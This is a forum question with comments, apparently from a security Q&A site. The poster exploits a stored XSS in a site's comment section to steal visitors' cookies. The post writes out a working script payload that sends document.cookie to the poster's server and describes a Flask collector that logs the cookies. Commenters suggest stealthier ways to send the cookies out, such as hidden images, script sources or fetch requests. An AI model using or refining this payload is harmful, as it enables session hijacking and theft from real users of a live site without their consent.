0

I found a stored xss vulnerability on a comment section of a fun site and I wanted to steal cookies using xss attack.

So on my remote server I run an HTTP server with Flask using python where there is a script to steal the document.cookie and add it to my cookies.txt.

At the end of the script, I included return redirect ("https://example.com") where the stored xss comment occurs.

After that I go to the example.com and comment as anonymous user <script>document.location="http://my.i.p.addr:port/?c=" +document.cookie;</script>.

Everything works. When the user opens this example.com the cookie comes to me and redirects back to the original comment page.

But the problem is this becomes a loop. The user opens example.com, (1) my stored xss attack vector loaded so it comes to my server, and (2) my server redirects the user back to example.com where my stored xss attack vector is persistent. (1) and (2) are looping indefinitely and can't get rid of it. Any clues?

4
  • 1
    Why are you redirecting the user to your own site? Even if this doesn't result in a loop, it will still be detectable by users. Just add an image to the DOM with the src set to "http://my.i.p.addr:port/?c=" + document.cookie.
    – nobody
    Commented Aug 22, 2021 at 7:51
  • Images are also detectable, though you can hide them with CSS. Using an invisible element (such as a script or stylesheet) with the URL as the source is even less obvious. Alternatively, just send the cookies using XHR/fetch, as an unauthenticated cross-origin request. That way you don't even have to put them in the URL or DOM, so it will be even less obvious.
    – CBHacking
    Commented Aug 22, 2021 at 8:38
  • 1
    This looks like a coding issue or a flow logic issue, not a security issue.
    – schroeder
    Commented Aug 22, 2021 at 18:14
  • 1
    Short answer: don't redirect the flow, simply call your server with the cookie info
    – schroeder
    Commented Aug 22, 2021 at 18:17

0

You must log in to answer this question.

Browse other questions tagged .